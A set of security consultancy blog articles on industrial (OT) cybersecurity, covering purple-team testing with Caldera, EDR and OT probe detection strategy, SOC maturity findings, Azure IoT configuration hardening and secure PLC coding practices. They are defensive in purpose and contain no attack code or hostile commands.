This third article focuses on a key question: how do you measure the efficiency of your OT detection? 

From compliance to efficiency: a KPI paradigm shift 

KPI stands for Key Performance Indicator. However, we tend to create KPIs to monitor progress against our plans, not real performance. While useful, monitoring only deployment or coverage (number of sites connected to the SOC, EDR deployment on OT machines, number of probes registered to the management console) tells you very little about the actual ability of your SOC to detect a real attacker. 

So, how confident are you in your detection tools, use cases, and processes? The only way to be sure is simple: test them. And the best way to test them is through Purple Team exercises. 

What is Purple Teaming in OT? 

A Purple Team exercise is a collaborative mission between the Red Team (attackers) and the Blue Team (defenders). Unlike a traditional Red Team assessment, where the defenders are kept in the dark and evaluated afterward, a Purple Team exercise is an iterative, joint effort. 

This collaborative approach allows both teams to: 

• Share assumptions about the OT environment 
• Validate detection logic in real time 
• Understand blind spots 
• Improve playbooks and detection pipelines 
• Align everyone around a realistic threat model 

Performing a Purple Team Exercise 

A Purple Team operation can be summarized in three main phases: 

1. Preparation

The preparation phase is often the most challenging, especially in OT environments, where safety, process continuity, and vendor constraints must be considered. 

Depending on the maturity of the organization, preparation can range from basic to highly sophisticated: 

• Unit Tests 
  Small, isolated tests of specific detection rules (e.g., “Detect Modbus function code 90”). 
• Feared Scenario-based Testing 
  Build scenarios around the organization’s crown jewels and failure modes (e.g., “Unauthorized remote program upload on a PLC controlling a critical process”). 
• CTI-Infused Testing 
  Integrate threat intelligence: test techniques used by real OT-focused attackers (e.g. TTPs from Volt Typhoon, Sandworm, Xenotime, or ransomware groups targeting industrial environments). 

To structure the preparation phase, two elements are essential: 

• A good knowledge of your OT environment 
  Planning an exercise that will be relevant to both the business risks & OT detection without impacting the process requires a deep knowledge of the site and its automation. 
• Mapping to the MITRE ATT&CK for ICS matrix 
  Mapping your tests to the ATT&CK matrix allows you to have a common language with the detection teams. This allows you to select relevant techniques, avoid blind spots, and ensure coverage across multiple layers: OT workstations, PLCs, network interactions, engineering actions… 

2. D-day (Execution)

Execution is performed jointly: 

• The Red Team launches controlled and authorized actions 
• The Blue Team monitors detections in real time 
• Both teams adjust, document, and validate findings as the exercise unfolds 

Depending on the scope and complexity of the tests, the Purple Team operation can last from a few hours to a few days. 

Ensuring Reproducibility with Caldera 

To ensure repeatability and consistency across Purple Team exercises, automation becomes key.  Caldera, an open-source Breach & Attack Simulation (BAS) framework developed by MITRE, is a powerful tool for this. 

As a former pentester, I’ve always disliked the term “automated pentest”—but BAS tools are the closest thing we have to repeatable, safe attack execution. 

Why use Caldera instead of performing tests manually? 

Caldera enables you to: 

• Prepare and validate a controlled list of tests on a controlled list of assets 
• Ensure only authorized actions are executed 
• Guarantee reproducibility across environments 
• Replay the exact same actions to measure improvements after configuration changes 

Some OT-specific plugins already exist in the Caldera-OT module, supporting Modbus, Profinet, DNP3, and others. 

Recently, Wavestone released two additional OT plugins: 

• Siemens S7 protocol support 
• OPC-UA communications actions 

Caldera in a nutshell 

Caldera usage relies on: 

• Abilities: atomic technical actions (e.g., reading coils, writing tags, scanning a PLC) 
• Adversaries: collections of abilities that form a scenario 
• Operations: real-time execution of those adversaries against a target 

Fact sources: parameters provided for an operation; you can launch the same operations against different environments by just changing the fact source. 

The following video (French with English subtitles) will walk you through a demonstration of Caldera on our small ICS demo setup: 

3. Debriefing

The debrief is where most of the value is extracted. The following types of Key Performance Indicators might be used: 

• Detection Coverage – what percentage of executed stimuli were detected? 
• Alert Quality – were alerts actionable, precise, and intelligible? 
• Reaction Time – how long before an alert is raised and acknowledged? 
• Playbook Efficiency – were the right actions taken in the expected time frame? 

These might phase results in: 

• Updated detection rules 
• Improved SIEM/SOC playbooks 
• Better monitoring architecture 
• Training material for analysts and engineers 

Start Testing Now! 

Purple Team testing brings value immediately, no matter what your current maturity level is: 

• It validates your tools in real-world conditions 
• It trains your SOC and OT teams 
• It reveals blind spots early in the program 
• It provides quantitative KPIs to drive detection improvements 

And yes, it is possible, in most production environments, under the following conditions: 

• Strictly controlled scope 
• Vendor-approved actions 
• No disruptive functions executed 
• Involvement of operations and safety teams 
• Continuous monitoring of system behavior during testing 

In short: start small, stay safe, and iterate. 

Do not wait for your OT security program to be “finished” before you start testing its effectiveness! 

Cet article Purple Teaming for OT:  How to switch from a compliance to a performance mindset? est apparu en premier sur RiskInsight.

In a previous article: Cybersecurity monitoring for OT, Current situation & perspectives we have seen that OT, while overall less impacted than IT, is not exempt from cyberthreats & not immune to cyberattacks. But, due to the difficulty in updating legacy Industrial Control Systems (ICS), cybersecurity measures are often added after deployment. Continuous monitoring is seen as a practical substitute for built-in, cyber-by-design protection. 

When it comes to monitoring tooling, we observed that 100% of our clients have detection tools deployed on the IT side of industrial sites. But only one-third extend monitoring down to the lower layers of the industrial environment:

There is a large variety of detection sources allowing monitoring across different levels of the Purdue model:

• Firewalls (including industrial firewalls)
• Endpoint protection (AV, application whitelisting, EPP, EDR etc.)
• Authentication and access logs (e.g., Active Directory, local authentication)
• Remote access logs (e.g., VPN, jump servers, bastion)
• Deceptive technologies (e.g., honeypots or decoys)
• Network detection and monitoring probes (listening industrial networks)
• Logs from media sanitization or data transfer stations (e.g., USB kiosks)
• Industrial logs (from SCADA, HMI, PLC … when available)

Traditionally, these logs are collected and analyzed by SIEM and/or SOAR solutions, with or without specific OT detection patterns, and should enable the SOC team to detect, investigate, and respond to security events.

Building a consistent detection strategy for OT environments does not require collecting data from every possible source. In fact, a few well-chosen, properly configured, and actively monitored sources can provide strong visibility and early detection capabilities. The key is to focus on data sources that are both relevant to the specific OT architecture and feasible to monitor without disrupting operations. Prioritizing quality and operational relevance over quantity ensures a more effective and sustainable cybersecurity posture.

How to get the most of detection sources?

Start with logs you already have

A pragmatic and cost-effective way to approach OT detection is to start by leveraging the logs and detection patterns already available within the industrial environment, particularly those already exploited for your IT environments. For example, firewall logs, especially those monitoring IT/OT boundaries, can provide valuable insights into network traffic patterns, segmentation breaches, or suspicious remote access attempts. Similarly, Active Directory (AD) logs can reveal abnormal user behavior, failed authentication attempts, or privilege escalations — all of which are critical signals in both IT and OT contexts. Leveraging these existing sources allows organizations to build initial detection capabilities without heavy investment, while laying a solid foundation for more advanced monitoring in the future.

Rather than starting with deploying complex OT-specific detection tools, organizations should build initial detection capabilities using what is already deployed, configured, and understood. This not only reduces costs but accelerates implementation across industrial sites. The goal is to ensure a consistent baseline of visibility across critical applications, systems, and infrastructure before diving deeper.

By starting with what you already have, and focusing on coverage, not complexity, organizations can address OT detection with speed, relevance, and operational realism, while setting the stage for more advanced capabilities down the line.

We will now focus on the two detection tools most widely adopted and discussed in industrial environments today: EDR solutions and OT network detection probes.
In the following sections, we will examine how to leverage these solutions effectively and outline our recommendations.

EDR

Endpoint Detection & Response solutions provide continuous monitoring and analysis of endpoint activities to detect, investigate, and respond to cyber threats in real time. EDR collects detailed data such as process execution, file changes, network connections, and user behavior. By leveraging behavioral analytics and threat intelligence, EDR tools can identify suspicious activities like malware infections, lateral movement, or privilege escalation.

This detection tool, widely used and popularized in IT environments, is now being adopted by most of our clients for deployment within their industrial environments, driven by the evolution of deployment models, the broader coverage of operating systems, and the improved performance of detection models in increasingly complex environments.

However, this does not mean that 100% of OT devices are compatible with EDR solutions. In fact, EDR compatibility varies significantly across different industrial systems due to their diversity and operational constraints. EDR deployment is generally straightforward on higher levels of the Purdue model, such as Layer 3 and Layer 3.5, where systems resemble traditional IT environments like servers and workstations. At Layer 2, implementation requires careful evaluation with vendors support and testing, as devices and protocols become more specialized and resource constrained. Finally, at the lowest levels, controllers, PLCs, and field devices, EDR is generally not viable due to limited processing capacity, proprietary operating systems, and real-time performance requirements.

For environments that support it, extending EDR coverage allows to:

• Address low maturity: Start with tools that are easier to implement and require less maturity.
• Broad coverage: Focus on quickly covering a wide range of systems, sites, and critical applications.
• Leverage IT tools: Use IT-based solutions like EDR for effective detection without heavy infrastructure requirements.

To conclude, deploying EDR Agents on OT Servers and Workstations is becoming increasingly relevant, and a quick win for OT detection, according to our clients’ feedback.

OT Probes

A detection probe is a piece of equipment, virtual or physical, connected to the information system in order to map and monitor it. It consists of sensors distributed across the network to collect data. And typically, a central console to aggregate, correlate and analyze this data.

Probes for industrial environments, which we will refer to simply as OT probes here, are characterized by their passive, non-invasive listening on the network, and their understanding of industrial protocols and behavior. All their probe solutions work on the same principle: network traffic is collected using flow duplication (SPAN, ERSPAN …) or physical duplicator like taps, etc. Packets are inspected in real time to provide several types of data: flow inventory and mapping, asset and vulnerability management, and finally anomaly and incident detection. OT probes promises wide detection capabilities and variety of possible cases of these data. The features and types of users involved (operational and business team, cybersecurity team, etc.) is what makes OT probes so popular. 

However, our clients often face significant challenges when it comes to deploying these probes and effectively leveraging them for detection at scale.

Here are a few common pain points when deploying OT probes:

• Industrial site network capabilities and resources: Deploying OT probes often presents significant challenges due to the limitations of industrial network infrastructure. Network taps and SPAN ports on switches, commonly used for traffic monitoring, are not always manageable or available in OT environments, which limits options for passive traffic capture. Additionally, the costs associated with installing dedicated network taps can be prohibitive, especially across distributed and remote industrial sites. Moreover, deploying and maintaining probes requires skilled resources on-site.
• OT probes collect and correlate information through network traffic capture. To be effective, their deployment requires carefully selecting listening points based on the intended targets. Listening points need to be tailored to each site architecture, often limited by local team knowledge and lack of documentation. Moreover, because industrial environments vary between different sites within the same organization, it is very difficult to establish a one-size-fits-all blueprint. In some architectures, achieving comprehensive asset coverage may require deploying dozens of collection points. As a result, selecting and configuring listening points is a repetitive, iterative process that must be adapted for each location to ensure optimal visibility and detection capabilities.

More than deploying, operating these probes also comes with challenges and requires a significant workload. They tend to generate a high number of false positives, which means teams must create tailored detection rules and playbooks to filter and respond effectively. On average, we estimate that one full-time SOC analyst is required to manage the alerts generated by 50 probes.

In the end, OT probes may be popular, but deployment and tuning costs and resources limit their full utilization. Our recommendation is to prioritize deploying OT probes for critical sites or within key network segments that demand advanced industrial and network monitoring capabilities. Deployment should also be aligned with the organization’s capacity to manage the associated tuning and operational workload. This approach helps maximize return on investment while ensuring effective detection where it matters most for our clients.

Consider other solutions?

Regarding detection for industrial perimeter, while this article focuses on key detection sources like EDR and OT network probes, it is important to acknowledge that other solutions such as deceptive technologies (e.g., honeypots or decoys) can also play a valuable role and be relevant in specific scenarios or environment according to your industrial sites architecture or feared compromission scenarios.

Conclusion

To conclude, here are the key recommendations to build an effective detection tooling strategy to monitor industrial environments       :

1. Leverage existing tools for immediate impact:

Begin by maximizing the value of detection sources already available in your industrial environment: firewall logs, active directory, remote access logs… and EDR, that can be quickly implemented on OT servers and workstations, offering high visibility with minimal effort. Adapting proven IT detection logic to OT use cases enables organizations to rapidly establish a baseline level of visibility without the need for heavy investments or complex integrations. This pragmatic approach ensures faster deployment and broader coverage of your OT assets.

2. Deploy advanced solutions where you can manage the workload

When extending your detection capabilities, prioritize the deployment of advanced tools like OT network probes where they provide the most value. For network probes, focus on critical sites or segments, and carefully select listening points to balance visibility, cost, and operational overhead. This targeted deployment approach ensures resources are used efficiently and strategically.

3. Prioritize quality and relevance over quantity

Building an effective OT detection strategy does not require monitoring every possible data source. Instead, focus on sources that are both relevant to your environment and technically feasible to collect without disrupting operations. This approach allows reducing log storage and management costs and enable the creation of more relevant, high quality detection rules.

Do not hesitate to reach out to discuss how you can build and improve your detection strategy to monitor your industrial assets!

In our next article, we will look at how to evaluate detection in industrial environments using purple team exercises, a practical way to assess and improve your detection capabilities.

Cet article Cybersecurity tooling strategy for an effective industrial detection est apparu en premier sur RiskInsight.

Operational Technology, while overall less impacted than IT, is not exempt from cyberthreats & not immune to cyberattacks. Let’s take a closer look at a simplified view of the threat landscape for industrial environments:

• Hacktivism: Increased geopolitical tensions in 2025 have led to low-level attacks by groups like CyberArmyofRussia_Reborn and CyberAv3ngers.
• Cyber Crime / Ransomware: There has been an 87% increase in ransomware attacks on industrial groups in 2025 according to Dragos in its annual report.
• Nation-State: Notable campaigns include Voltzite OT information theft and the IOControl campaign.

This threat landscape was notably depicted by Chris Sistrunk, ICS/OT Technical Leader at Mandiant, Google Cloud Security, at Black Hat 2025:

Given this increasing threat landscape targeting OT, continuous monitoring is essential. So, we know why industrial information systems need to be closely monitored, and we also know that our clients are actively working toward that goal. But one key question remains: how do we measure the effectiveness of detection? And how can we improve it?

How to assess the effectiveness and improve detection on industrial perimeter?

To answer that question, we developed a methodology aimed at evaluating detection capabilities within industrial SOCs.

The evaluation was built around the core activities of a SOC, structured into four pillars:

Using this framework, we assessed ~15 industrial clients to better understand their level of maturity. In this article, we’ll share the key trends and insights that emerged, focusing specifically on detection-related questions. Two follow-up articles will be published: one delving into the effectiveness of various detection strategies and solutions, and another explaining how to test detection capabilities in industrial environments with purple teaming and the custom modules developed for that purpose.

Governance & Strategy

The first question we focused on was whether industrial sites monitoring is handled by a dedicated team using specialized tools — or if, on the contrary, it’s integrated into a broader, centralized SOC approach.

Responses are unanimous:

These figures can be explained by several factors. One key reason is financial rationalization. Maintaining two separate teams with similar skill sets: managing alerts, configuring tools, duplicating capabilities… is costly. However, a unified SOC implies an extended scope to cover OT, but not the presence of OT-specific tools or expertise and in the end, OT detection capabilities.

Even if this approach does not guarantee effective detection and response across the OT scope, a unified SOC can manage OT incidents efficiently, under the right conditions:

End-to-end monitoring

If we look closely at the simplified threat landscape, cyberattacks might not be IT or OT-specific. Cybercrime such as ransomware, the dominant threat today, is not limited to IT or OT alone. It often spreads across both, making it essential for alerts to be followed from end-to-end.

In the end, unifying the detection teams & tools make sense as attacks are not necessarily exclusively IT or OT.

Link with industrial sites

Response time & information sharing is crucial in cyber incidents. As most security teams are centralized in a unique location, there is a need for a link between central security teams and local industrial sites in cyber incident response process:

• This relay is familiar with industrial sites, their specific characteristics, operational context, and modes of functioning
• They also maintain contact on-site to quickly gather the information required for triage, doubt resolution or investigation
• In addition, in global organizations, having resources in the right time zones and ability to communicate in the local language is key, especially in the industrial world

Referred to as Cyber-OT Referents, these relays play an active role in the incident resolution process, particularly during investigation and remediation:

In conclusion, even though unified SOC covering IT and OT are often driven by cost optimization, the model makes sense considering that many threats span both domains. Still, this must not be treated as a simple extension of the perimeter to cover, dedicated OT relays and expertise are essential to properly handle industrial-specific contexts.

Tooling

When it comes to tooling, we observed that 100% of our clients have detection tools deployed on the IT side. However, only one-third extend monitoring down to the lower layers of the industrial environment.

Detection sources covering different levels of the Purdue model

We will focus on popular solutions to address detection in industrial environments: EDR and OT probes.

2.2.1 EDR

Few figures regarding EDR:

Most of our clients have started deploying EDR in their industrial environments.

However, this does not mean that 100% of EDR-compatible OT machines are covered.

For environments that support it, extending EDR coverage allows to:

• Address low maturity: Start with tools that are easier to implement and require less maturity.
• Broad coverage: Focus on quickly covering a wide range of systems, sites, and critical applications.
• Leverage IT tools: Use IT-based solutions like EDR for effective detection without heavy infrastructure requirements.

To do so, most organizations opt to use the same EDR solution for both IT and OT environments. It enables faster rollout thanks to a known and already-integrated tool. Depending on needs and available resources, a different solution may be selected to improve resilience and OT-compatibility.

To conclude, with IT/OT convergence, deploying EDR Agents on OT Servers and Workstations is becoming increasingly relevant, and a quick win for OT detection, according to our clients’ feedback.

OT Probes

Few figures regarding probes:

When it comes to probes, the gap between these two figures highlights the challenge of deploying probes at scale and effectively using them for detection in industrial networks.

Indeed, probes collect and correlate information through network traffic capture. To be effective, their deployment requires carefully selecting listening points based on the intended targets. Listening points need to be tailored to each site architecture, often limited by local team’s knowledge and lack of documentation.

Operating these probes also comes with challenges and requires a significant workload. They tend to generate a high number of false positives, which means teams must create tailored detection rules and playbooks to filter and respond effectively.

In the end, OT Probes may be popular, but deployment and tuning costs and resources limit their full utilization.

Start basic with OT detection tools

In the end, for OT detection, we believe in starting basic by leveraging “IT” tools to ensure a first level of coverage across all sites, critical apps, and infrastructure:

• Prioritize critical assets: Focus on key systems (MES, safety tools, network) essential for production, ensuring they are closely monitored before extending deployment to the lower levels of the Purdue model.
• Implement basic detection: Establish foundational detection across sites and infrastructure for early issue identification, before advancing to complex OT solutions.

Training & Testing

Detection does not rely on deploying tools alone; we will focus here on team’s ability to use them effectively.

A need for more OT-specific knowledge

Benchmark figures revealed a limited understanding and adaptation of both teams and processes to industrial environments:

To bridge the gap, teams need training tailored to industrial contexts, basic for all SOC analysts, and in-depth for OT specialists.

In the same way, investigation and response processes must also be adapted to address the specific needs of industrial environments, where priorities such as availability differ from those in the IT world.

Test your detection!

Finally, improving detection starts with evaluating it but today …

Only a small minority test their real detection capabilities, but we believe that there is room for purple team exercise in OT. These collaborative exercises with the OT SOC, tailored to its maturity and goals, can test and enhance both detection tools and OT SOC processes.

It can start simple: by selecting appropriate production environments and performing a few basic tests like inserting a USB key with a standard malware sample or attempting a couple of privilege escalation actions… we can evaluate whether the EDR deployed on a workstation connected to your SOC will trigger an investigation.

This exercise helps identify the blind spots and adjust tooling, process and playbooks accordingly.

Conclusion: How to enhance the overall low maturity in detection for industrial systems?

The benchmark’s first conclusion is clear: maturity levels are low, and this is a consistent answer across all collected responses. How to enhance this overall low maturity in detection for industrial systems?

Here are the key outcomes regarding the three topics covered in this article:

Do not hesitate to reach out to discuss how you can strengthen your detection capabilities and measure your maturity against the market!

Cet article Cybersecurity monitoring for OT – Current situation & perspectives est apparu en premier sur RiskInsight.

Azure, in recent years, has been gaining a foothold in this sector, as Gartner has pointed out, ranking them among the visionary leaders of Industrial IoT (IIoT) platforms [1] due to its capabilities, and its almost complete coverage of all use cases and industries.

The IoT, by nature often widely exposed, even on the Internet, can be the target of attacks. It is therefore essential to put in place security mechanisms, and to apply best practices to improve the security level of the platform and the objects that connect to it, which we will explore in this article.

Before moving on to specific recommendations for protecting your IoT devices and data, let’s look at how the various Azure IoT services can be used together to create secure IoT solutions.

Presentation of the Azure IoT offer

Microsoft Azure IoT is an end-to-end platform for connectivity, analysis and visualization of data from IoT devices. It also offers interconnection with other standard Azure services such as Azure Machine Learning and Azure SQL Database.

Azure IoT offers two solution ecosystems to its customers:

• Azure IoT Central is a fully managed aPaaS, Platform as a Service application that simplifies the creation of IoT solutions. This service is responsible for connecting, managing and operating fleets of devices, and provides a management user interface. Azure IoT Central is an aggregate of different Azure IoT services such as Azure IoT Hub or Azure IoT Hub Device Provisioning Service (DPS).

Azure IoT Central offers application models according to several business domains: Retail, Health, Energy, Industry, etc., and aims at a “turnkey” implementation.  

• A customised ecosystem thanks to the various Azure PaaS (Platform as a Service) services. In this ecosystem, two services; Azure IoT Hub and Azure Digital Twins are the foundations of an IoT solution. We have also combined them with Azure Device Provisioning and Azure Device Update for optimal coverage of cyber security needs.

These two ecosystems enable Azure to address all types of IoT and IIoT needs:

• Azure IoT Central offers a complete service if you want to quickly develop a low-complexity application thanks to its application template catalogue.
• If you want a custom solution, or with features not supported by Azure IoT Central: opt for an ecosystem based on Azure IoT Hub.

Now that we have a good understanding of the Azure IoT ecosystems, it is important to focus on securing these ecosystems. How can we effectively protect IoT devices and data when using Azure IoT services? This is what we will explore in the following sections.

Preamble: the Azure CLI tool

In order to manage Azure resources, Microsoft provides several tools, most of which can be used in CLI (Command Line Interface). The tool offering the most functionality for management is Azure CLI.

This tool, available for Windows and UNIX operating systems, allows a user who is a member of an Azure environment to manage and obtain information about Azure resources. It should be noted that the range of possibilities of this tool varies according to the rights that the user has over the resources in question.

To install it, Microsoft provides a dedicated page explaining the steps for any type of environment.

In order to use it, all you must do is connect to an Azure user account via the chosen command interface (PowerShell or Bash), then enter the desired commands. Once the use of this tool is finished, a disconnection of the account is recommended.

A typical use of this tool is shown below:

The documentation of this tool, presenting and explaining all the possible commands, is available at this address.

This tool will be used later in the example of technical manipulations.

1st security vector: authentication of objects

Device authentication is crucial for an Azure infrastructure as it ensures that only authorised devices can access cloud resources. Azure IoT services support two main means of authentication for IoT devices:

• A SAS Token (Shared Access Signature) is a string of characters used to authenticate devices and services. An SAP token has the following structure:

This type of authentication has a defined validity period and permissions, which are assigned based on an access policy, on a given perimeter. The signature, on the other hand, is a crucial element because it is responsible for guaranteeing the security of communications between the object and Azure services, but also for proving the identity of the device. This signature is generated from a secret that must be specific to each device.

• An X.509 certificate [2] is a digital certificate allowing strong authentication of the object. It contains information about the entity issuing the certificate, the validity period of the certificate and the identity of the subject (e.g. the object). One of the strengths of certificates is the ability to create chains of certificates, and thus create trust relationships:

X.509 certificates offer a higher level of security, assuming a state-of-the-art cryptographic algorithm, as they allow trust relationships to be represented. However, the management and use of certificates can involve additional complexity for an IoT project.

In order to force the use of X.509 certificates to authenticate connected objects, it is possible to prohibit SAS tokens for an IoT Hub. Indeed, Azure IoT Hubs have three properties related to the use or not of SAS tokens: disableLocalAuth, disableDeviceSAS and disableModuleSAS. Therefore, the best practice associated with disabling SAS tokens is to set these three parameters to True. This can be done using the Azure CLI tool:

Checking the values of these same parameters can also be done using the Azure CLI:

In the example response below, the disableDeviceSAS property has been set correctly, but the other two have not.

The Azure portal also allows you to perform this verification:

The choice of authentication method for Azure IoT will depend on the security requirements of your solution. If you need strong security and have the infrastructure to manage certificates, then X.509 certificate authentication is a good option. However, if you are looking for a solution that is simple to manage and use, the SAS token may be more suitable for your needs.

2nd security vector: RBAC and alerts

The assignment of roles on your Azure IoT infrastructure must be thoughtful and defined according to the needs of the users. A precise definition of roles and permissions makes it possible to limit access to resources and to the various functionalities available on the platform. The various Azure IoT services provide a multitude of pre-configured roles that can be adapted to your needs and your organisation. Secondly, applying the principle of least privilege, and limiting the number of accounts with important privileges, allows you to improve the security level of your Azure IoT infrastructure.

Azure CLI allows you to list the users with rights to the desired Azure IoT resource and their associated roles. The following command allows you to perform this action

It is possible to use string selectors (Select-String for PowerShell, grep for Bash) to retrieve only the desired information.

In the example below, names, types and roles were the only items retrieved using Select-String:

The Azure built-in roles feature is available on this page.

Configuring alerts based on the metrics of your Azure IoT services is another tool to consider. Alerts can be configured to detect suspicious behaviour or anomalies, allowing for rapid investigation of your infrastructure. Azure provides its customers with a large collection of signals to define alert conditions. It is also possible to define custom alert signals via the query language used by Azure Log Analytics.

The Azure Portal is the easiest way to set up alerts based on the data collected by the IoT Hub. For example, to define a log alert rule, you need to:

1. Go to the management page of the desired IoT Hub;
2. Go to the Logs sub-category of the Monitoring category;
3. Choose a rule using the Azure Log Analytics language;
4. Add an alert rule related to this query;
5. Choose the operator, unit, threshold value, check recurrence and time period for the rule

These actions are summarised in the screenshots below:

It will then be sufficient to choose an action group linked to a type of action (sending an email, SMS, etc.).

The example given will lead to an action if the number of failed connections of connected objects to the IoT Hub concerned exceeds 10 failures in 10 minutes or less.

A detailed guide in the form of a tutorial is available on the Azure documentation. Note that this service is available at an additional cost.

3rd vector of security: the service itself

Finally, setting up proper configuration of Azure IoT services is a key element in improving the platform’s cyber maturity level. This includes options such as routing rules or setting the minimum version of TLS used by devices to connect to Azure IoT Hub.

Routing rules are used to redirect messages from IoT devices to an endpoint (storage, services, database, etc.) and are configurable by routing requests. It is recommended to filter incoming messages, via routing requests, to increase the security of your IoT solution.

Checking the minimum TLS version accepted can be done using the Azure CLI: indeed, an IoT Hub has the minTlsVersion attribute to check this property. This check is performed using the following command:

Si cette commande ne retourne rien, ou retourne une valeur inférieure à 1.2, alors la configuration n’est pas satisfaisante.

Le portail d’Azure permet également d’effectuer cette vérification

If this command returns nothing, or returns a value less than 1.2, then the configuration is not satisfactory.

The Azure portal also allows you to perform this check:

En synthèse

Security is a major issue for IoT projects: Microsoft, with its Azure IoT product, provides an IoT platform that meets the majority of IoT needs in a secure manner, provided that it is configured correctly. In this article, we have discussed recommendations for improving the security of your Azure IoT infrastructure.

It is important to keep in mind that other attack vectors exist, such as hardware and software vulnerabilities and the networks used by IoT devices.  Securing an IoT infrastructure is a complex challenge that requires an end-to-end approach.

With the help of Marius ANDRE

[1] “Magic Quadrant for Global Industrial IoT Platforms”

https://www.gartner.com/doc/reprints?id=1-2BQFX3BJ&ct=221116&st=sb

[2] “Internet X.509 Public Key Infrastructure Certificate and Certificate Revocation List (CRL) Profile”

https://www.rfc-editor.org/rfc/rfc5280

Cet article Improving the security of your IoT infrastructure: configuration tips and best practices on Azure IoT est apparu en premier sur RiskInsight.

However, in Industrial Control Systems, we never talk about the security of the code that controls the process, why? This is the gap the TOP 20 project is trying to close.

Project genesis

The project started with Jake Browdsky’s presentation at the S4 conference in 2019:

In this talk, the concept of securing the industrial process by applying secure coding practices in the PLC code is discussed and several examples are mentioned.

This idea was then transformed into a collaborative project by Sarah Fluchs and Vivek Ponnada, on which more than 900 people contributed with their ideas!

Programmable Logic Controllers

Programmable Logic Controllers (PLCs) are located at the core of automation, at the level 1 of the Purdue model.

ISA representation of the Purdue model
Is The Purdue Model Dead? – Dale Peterson: ICS Security Catalyst (dale-peterson.com)

PLC are embedded, real-time computers that interact directly with the sensors and the actuators to monitor and control a part of the industrial process.

They run an infinite loop, composed of 4 steps :

The “logic”, or code of the PLC, can be written in different languages, as defined in the IEC 61131-3 standard:

• Ladder diagram (LD)
• Function block diagram (FBD)
• Structured text (ST)
• Instruction list (IL) [now deprecated]
• Sequential function chart (SFC)

The TOP20 document

The TOP20 document is the result of the online discussions to identify the 20 most important coding practices and can be downloaded from the project website.

Like the OWASP TOP10, it doesn’t aim at describing each and every possible secure coding practice, at least for now.

Each of the TOP20 practice is detailed with the same information:

The 20 practices can be organized in three main categories:

A few examples

Let’s have a look at one example from each category. For this we’ll use an entry-level PLC from our lab, a traffic light as well as a SCADA supervision.

Unfortunately, each PLC vendor -even each PLC family- uses its own specific programming software; examples showcased here cannot be copy-pasted in another PLC brand code and will require a different implementation.

The PLC code as well as the SCADA project used for the demonstration can be downloaded from our github page.

Rule #13: Disable unneeded / unused communication ports and protocols

This practice consists of hardening the PLC. Most PLCs today offer support for several ICS protocols, as well as a variety of additional services like FTP, a web server and many more.

Disabling the services not used and reinforcing the security of the ones enabled (changing default credentials, etc) is a necessary step to reduce the attack surface, and consequently limit the number of security patches to apply in the future (the less features enabled, the more vulnerabilities will be applicable and will have to be patched).

Let’s take a look at the video:

Rules #6 and #8 : Checking inputs at the PLC level

These two rules can be demonstrated in the same example as they follow the same principle : do not blindly trust external input! For someone like me who has done his fair share of web application pentesting, I couldn’t agree more!

Valid ranges for input values are oftentimes implemented at the SCADA level, leaving room for an attacker to directly write an out-of-range value to the right PLC register.

This is especially true for counters and timers, which should be checked to ensure they’re superior or equal to zero, and that the value is inferior to a high limit that makes sense for the process.

Let’s take a look at the video:

Monitoring the PLC rules #2 and #5

We can leverage operational data from the PLC to try to detect abnormal situations that could be cybersecurity incidents.

PLC state

Making sure the PLC is in “RUN” mode is critical for the safety and security of operations. A stopped PLC could prevent the SCADA HMI from displaying the right information to the operator, leading to bad decisions.

Likewise, features like input and output “forcing” could result in the SCADA HMI not displaying the real state of the process, and should be detected and clearly displayed to the operator.

Let’s take a look at the video:

This technique can also be used to detect PLCs in “PROGRAM” mode, which allows the PLC to be remotely programed.

PLC firmware and code version

Wouldn’t it be great to be able to query the firmware version of your PLC directly from a Modbus register? Well, you can!

In addition, on our PLC, we can also get a checksum of the PLC code, meaning we can detect if somebody has tampered with the PLC code, raise an alarm, and investigate if we cannot match that to an entry in the change management register.

Let’s take a look at the video:

So what can you do?

The top 20 document is readily available, but how can you use it?

If you want to learn more about PLC code security, you can also check the content we showcased during our workshops at DEFCON and BruCON on our Github page.

Cet article Top 20 Secure PLC Coding Practices est apparu en premier sur RiskInsight.

This year again, we were delighted to be able to share our knowledge during Hacker Summer camp (cybersecurity conferences that happen roughly at the same time in Las Vegas each year: BlackHat, BSides Las Vegas, and DEFCON).

(Thomas is missing in this picture as he already left DEFCON to attend SANS DFIR Summit in Houston, TX).

In this article, we share the materials used for our talks, workshops, and tool demos.

CI/CD security

CI/CD pipelines are increasingly becoming part of the standard infrastructure within dev teamsand with the rise of new approaches such as Infrastructure as Code, the sensitivity level of such pipelines is escalating quickly. , with the rise of new approaches such as Infrastructure as Code, the sensitivity level of such pipelines is escalating quickly. In case of compromise, it is not just the applications that are at risk anymore but the underlying systems themselves and quite often the whole information system.

We feel that those infrastructure, while not targeted by attackers for now, will become a prime focus point for attackers in the years to come. Both because of the credentials handled by the pipelines and the usual lack of monitoring on those environments.

During Hacking Summer Camp, we explained how attackers are beginning to exploit those weaknesses both for supply chains attacks but also to escalate their privileges within the victim IS. We started with a talk at BSides Las Vegas which illustrated an attack path that we had already exploited in a real operation. Then, we conducted two workshops, at both BSides Las Vegas and at DEFCON, to allow students to exploit these attacks on a full-scale lab.

The lab & slides will soon be published on the GitHub (wavestone-cdt/DEFCON-CICD-pipelines-workshop (github.com).

The replay of the talk at Bsides Las Vegas is available on YouTube (https://youtu.be/a3SeASgtINY).

By Rémi ESCOURROU (@remiescourrou), Gauthier SEBAUX (@zeronounours) and Xavier GERONDEAU (@reivaxxavier1).

Industrial Control Systems

This year, we taught 2 workshops on ICS cybersecurity at DEFCON:

An updated version of our very popular “Pentesting ICS 101” workshop

We covered the basic of ICS and shared some feedback on the state of ICS cybersecurity. Then, using pre-configured virtual machines we learned how to exchange data with PLCs. This was then put into practice on real hardware with our model train setup:

A whole new workshop on PLC code security

We also started with an introduction to ICS, then dived into programming a software PLC, and demonstrating how applying practices from the PLC TOP20 can prevent attacks and/or help detect them.

To do this, we also created a very simplified process simulation that connects to the PLC simulator, that we also release. This could be used and adapted for ICS awareness and training.

GitHub – wavestone-cdt/plc-code-security: Experiments with the Top 20 Secure PLC Coding Practices

You can find our process simulation here : https://github.com/arnaudsoullie/simple-process-simulation

DEFCON30 demo lab: EDRSandblast

